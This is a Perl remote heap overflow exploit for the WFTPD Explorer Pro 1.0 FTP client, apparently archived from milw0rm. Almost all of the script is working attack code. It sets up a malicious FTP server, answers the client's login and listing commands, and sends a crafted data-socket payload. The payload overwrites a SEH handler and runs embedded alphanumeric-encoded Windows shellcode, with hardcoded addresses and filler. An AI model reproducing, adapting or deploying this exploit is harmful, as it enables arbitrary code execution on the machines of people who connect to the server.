#!/usr/bin/perl
#
# WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit
# ---------------------------------------------------
# Exploit by SkD                 (skdrat@hotmail.com)
#
# This is a remote heap overflow exploit for 
# WFTPD Explorer Pro 1.0 by Texas Imperial Software.
# (Vendors website = http://www.wftpd.com)
#
# Tested on Windows 2000 SP4.
#
# I haven't used the more common methods of overwritting
# PEB or UEF as it seemed both of them were not called
# when the heap was overflowed, probably due to clean
# clear ups when the overflow is detected. So I chose
# to overwrite a local SEH handler address. I have tested
# it numerously and the success rate is 100% in Win2k Sp4.
# The exploit is basically based on the PoC by r4x
# and it recreates the scenario but also exploits it by
# creating two sockets, which the vital point is the 
# data socket.
# 
# Enjoy it ladies & gents.
# 
# Greets fly out to InTeL & str0ke.
#
# Note: Author has no responsibility over the damage you do
#       with this!

use IO::Socket;
use warnings;
use strict;

print "[x] WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit\n";
print "[x] Exploit by SkD (skdrat@ hotmail.com)\n";

my @requests  =
	("USER", "PASS", "TYPE", "PWD", "PASV", "LIST");
my @response =
	("331 Password required.\r\n", "230 User logged in.\r\n", "200 Type set to I.\r\n",
	 "257 '/' is current directory.\r\n", "227 Entering Passive Mode (127,0,0,1,100,100).\r\n",
	 "150 Opening ASCII mode data connection for file list.\r\n");

# win32_exec -  EXITFUNC=thread CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
	          "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
	          "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
	          "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
	          "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
	          "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
	          "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x34\x4e\x43\x4b\x38\x4e\x47".
	          "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48".
	          "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x58".
	          "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
	          "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
	          "\x46\x4f\x4b\x33\x46\x45\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x58".
	          "\x4f\x35\x46\x52\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x44".
	          "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
	          "\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x43".
	          "\x42\x4c\x46\x36\x4b\x38\x42\x54\x42\x43\x45\x38\x42\x4c\x4a\x47".
	          "\x4e\x50\x4b\x38\x42\x34\x4e\x50\x4b\x38\x42\x57\x4e\x31\x4d\x4a".
	          "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b".
	          "\x42\x30\x42\x30\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x45\x41\x33".
	          "\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47".
	          "\x42\x45\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x4a\x36\x4a\x59".
	          "\x50\x4f\x4c\x48\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36".
	          "\x4e\x36\x43\x56\x42\x30\x5a";

my $heapend =     #The heap sometimes needs to be fed (end) with strange bytes ;)
	          "\x83\xc5\x7a\x83\xc5\x7a\x8b\x45\x00\xbd\x68\xc3\xd3\x55\xa7\x86".    #No specific instructions
		  "\xb9\x42\x42\x42\x42\x40\x40\x40\x40\x39\x08\x75\xf8\xff\xe0\x2f".    #No specific instructions
		  "\xef\xde\x50\xc6\xab\x54\xc3\x48\x9c\x4d\xa7\x9c\xf3\x54\xc7\x8a".    #No specific instructions
		  "\x58\x61\xa7\xc2\x3d\x64\xec\x5a\x7f\xd1\xec\xb7\xd4\x94\xe6\xce".    #No specific instructions
		  "\xd2\x97\xc7\x37\xe8\x01\x08\xc7\xa6\xb0\xa7\x9c\xf7\x54\xc7\xa5".    #No specific instructions
		  "\x58\x59\x67\x48\x8c\x49\x2d\x28\x58\x49\xa7\xc2\x38\xdc\x70\xe7".    #No specific instructions
		  "\xd7\x96\x1d\x03\xb7\xde\x6c\xf3\x56\x95\x54\xcf\x58\x15\x20\x48".    #No specific instructions
		  "\xa3\x49\x81\x48\xbb\x5d\xc7\xca\x58\xd5\x9c\xc3\xd3\x55\xa7\xab".    #No specific instructions
		  "\xef\x0a\x1d\x35\xb3\x03\xa5\x3b\x50\x95\x57\x93\xbb\xba\xe2\x23".    #No specific instructions
		  "\xb3\x3d\xb4\x3d\x59\x5b\x7b\x3c\x34\x36\x4d\xaf\xb0\x55\x2c\xc3";    #No specific instructions


my $overflow1 =     "\x41" x (1024 - length($shellcode));
my $overflow2 =     "\x42" x 144;
my $overwriteaddr = "\x18\xfe\x91\x00"; #SEH Handler Address, will be called after a deliberate exception
my $shellcodeaddr = "\xd0\x7a\xd3\x00"; #Address of a huge sled of 0x41 bytes that will lead to the shellcode
my $heappart =      "\x41" x 6 ."\xEB\x08".$shellcodeaddr.$overwriteaddr."\x41" x 6 ."\xEB\x08"; #JMPs here are used in some cases
my $payload =       $overflow1.$shellcode.$heappart.$shellcodeaddr.$overwriteaddr.
	            $heapend.$overflow2."\r\n"; #Heap overflow packet payload ;)

while(1)
{
	my $sock1=new IO::Socket::INET(Listen=>1,LocalAddr => "127.0.0.1",LocalPort=>21,Proto=>'tcp');
	my $sock2=new IO::Socket::INET(Listen=>1,LocalAddr => "127.0.0.1",LocalPort=>25700,Proto=>'tcp');
	die unless $sock1;
	die unless $sock2;
	print "[x] Waiting for clients ...\n";
	my $s1;
	my $s2;
	while($s1=$sock1->accept()){
		print "\t[x] Got a client !\n";
		print $s1 "220 Welcome to SkD FTPDAEMON\r\n";
		while(my $request = <$s1>){
                	my @arr = split("\x20", $request);
			print "\t\t[x] Request = ".$arr[0]."\n";
                	if(length($arr[0]) == 0){
	                        print $s1 "502 Command not implemented.\r\n";
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[0]){
	                        print $s1 $response[0];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[1]){
	                        print $s1 $response[1];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[2]){
	                        print $s1 $response[2];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[3]){
                                print $s1 $response[3];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[4]){
                        	print $s1 $response[4];
                                sleep(0.25);
                                $s2 = $sock2->accept();
                                print "\t\t[x] Data socket connected!\n";
	                } elsif($arr[0] eq $requests[5]){
                        	print "\t\t[x] Sending exploit ;)!\n";
                                print $s1 $response[5];
                                sleep(1);
                                print $s2 $payload;
	                        sleep(1);
                                print "\t[x] Exploitation done.\n";
	                        last;
	                }
		}
                print "\t[x] Client disconnected.\n";
                close $sock1; #Clean up socket1
                close $sock2; #Clean up socket2
                last;
	}
}

# milw0rm.com [2009-01-29]
